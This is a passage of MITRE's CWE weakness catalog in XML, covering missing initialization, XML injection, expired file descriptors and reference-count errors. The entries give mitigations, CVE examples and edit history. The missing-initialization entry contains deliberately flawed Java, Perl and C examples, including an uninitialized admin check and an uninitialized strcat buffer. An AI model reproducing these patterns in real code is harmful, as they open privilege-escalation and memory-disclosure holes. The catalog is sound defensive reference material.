					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="909" Name="Missing Initialization of Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not initialize a critical resource.</Description>
         <Extended_Description>Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="908" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
               <Note>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid race conditions (CWE-362) during initialization routines.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>Run or compile your product with settings that generate warnings about uninitialized variables or data.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-105">
               <Intro_Text>Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private boolean initialized = true;<xhtml:br/>public void someMethod() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (!initialized) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// perform initialization tasks</xhtml:i>
                                 <xhtml:br/>...<xhtml:br/>
                                 <xhtml:br/>initialized = true;</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-54">
               <Intro_Text>The following code intends to limit certain operations to the administrator only.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$username = GetCurrentUser();<xhtml:br/>$state = GetStateData($username);<xhtml:br/>if (defined($state)) {<xhtml:div style="margin-left:1em;">$uid = ExtractUserID($state);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># do stuff</xhtml:i>
                     <xhtml:br/>if ($uid == 0) {<xhtml:div style="margin-left:1em;">DoAdminThings();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code intends to concatenate a string to a variable and print the string.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char str[20];<xhtml:br/>strcat(str, "hello world");<xhtml:br/>printf("%s", str);</xhtml:div>
               </Example_Code>
               <Body_Text>This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.</Body_Text>
               <Body_Text>If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.</Body_Text>
               <Body_Text>If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.</Body_Text>
            </Demonstrative_Example>
			<Demonstrative_Example Demonstrative_Example_ID="DX-144">
			  <Intro_Text>This example will leave test_string in an
			  unknown condition when i is the same value as err_val,
			  because test_string is not initialized
			  (CWE-456). Depending on where this code segment appears
			  (e.g. within a function body), test_string might be
			  random if it is stored on the heap or stack. If the
			  variable is declared in static memory, it might be zero
			  or NULL. Compiler optimization might contribute to the
			  unpredictability of this address.</Intro_Text>
			  <Example_Code Nature="Bad" Language="C">
                char *test_string;<xhtml:br/>
                if (i != err_val)<xhtml:br/>
                {<xhtml:br/>
                <xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
                }<xhtml:br/>
                printf("%s", test_string);
              </Example_Code>
              <Body_Text><xhtml:p>When the printf() is reached,
              test_string might be an unexpected address, so the
              printf might print junk strings (CWE-457).</xhtml:p>
			  <xhtml:p>
			  To fix this code, there are a couple approaches to
			  making sure that test_string has been properly set once
			  it reaches the printf().</xhtml:p>
			  <xhtml:p>One solution would be to set test_string to an
			  acceptable default before the conditional:</xhtml:p>
			  </Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string = "Done at the beginning";<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			  <Body_Text>Another solution is to ensure that each
			  branch of the conditional - including the default/else
			  branch - could ensure that test_string is set:</Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string;<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				else {<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Done on the other side!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			</Demonstrative_Example>
         </Demonstrative_Examples>
	 <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2020-20739</Reference>
	     <Description>A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2020-20739</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2005-1036</Reference>
	     <Description>Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2005-1036</Link>
	   </Observed_Example>
	 </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-12-21</Submission_Date>
               <Submission_Comment>New weakness based on discussion on the CWE research list in December 2012.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="91" Name="XML Injection (aka Blind XPath Injection)" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.</Description>
         <Extended_Description>Within XML, special elements could include reserved words or characters such as "&lt;", "&gt;", """, and "&amp;", which could then be used to add new data or modify XML syntax.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>XML injection (aka Blind Xpath injection)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>23</Entry_ID>
               <Entry_Name>XML Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="250"/>
            <Related_Attack_Pattern CAPEC_ID="83"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-882"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;XML Injection&#34;, Page 1069"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.</Note>
            <Note Type="Theoretical">In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.</Note>
            <Note Type="Research Gap">Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="910" Name="Use of Expired File Descriptor" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses or accesses a file descriptor after it has been closed.</Description>
         <Extended_Description>After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Stale file descriptor</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>The program could read data from the wrong file.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Accessing a file descriptor that has been closed can cause a crash.</Note>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO46-C</Entry_ID>
               <Entry_Name>Do not access a closed file</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-12-21</Submission_Date>
               <Submission_Comment>New weakness based on discussion on the CWE research list in December 2012.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="911" Name="Improper Update of Reference Count" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.</Description>
         <Extended_Description>Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="672" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="772" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0574</Reference>
               <Description>chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0574</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0114</Reference>
               <Description>Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0114</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3741</Reference>
               <Description>chain: improper reference count tracking leads to file descriptor consumption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3741</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1383</Reference>
               <Description>chain: integer overflow in reference counter causes the same variable to be destroyed twice.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1383</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1700</Reference>
               <Description>Incorrect reference count calculation leads to improper object destruction and code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1700</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2136</Reference>
               <Description>chain: incorrect update of reference count leads to memory leak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2136</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2785</Reference>
               <Description>chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2785</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5410</Reference>
               <Description>Improper reference counting leads to failure of cryptographic operations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5410</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1709</Reference>
               <Description>chain: improper reference counting in a garbage collection routine leads to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1709</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3553</Reference>
               <Description>chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3553</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3624</Reference>
               <Description>Reference count not always incremented, leading to crash or code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3624</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0176</Reference>
               <Description>improper reference counting leads to expired pointer dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0176</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0623</Reference>
               <Description>OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0623</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2549</Reference>
               <Description>OS kernel driver allows code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2549</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4593</Reference>
               <Description>improper reference counting leads to exhaustion of IP addresses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4593</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0695</Reference>
               <Description>Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0695</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-4787</Reference>
               <Description>improper reference counting leads to use-after-free</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-4787</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-884"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2012-12-21</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="912" Name="Hidden Functionality" Abstraction="Class" Structure="Simple" Status="Incomplete">
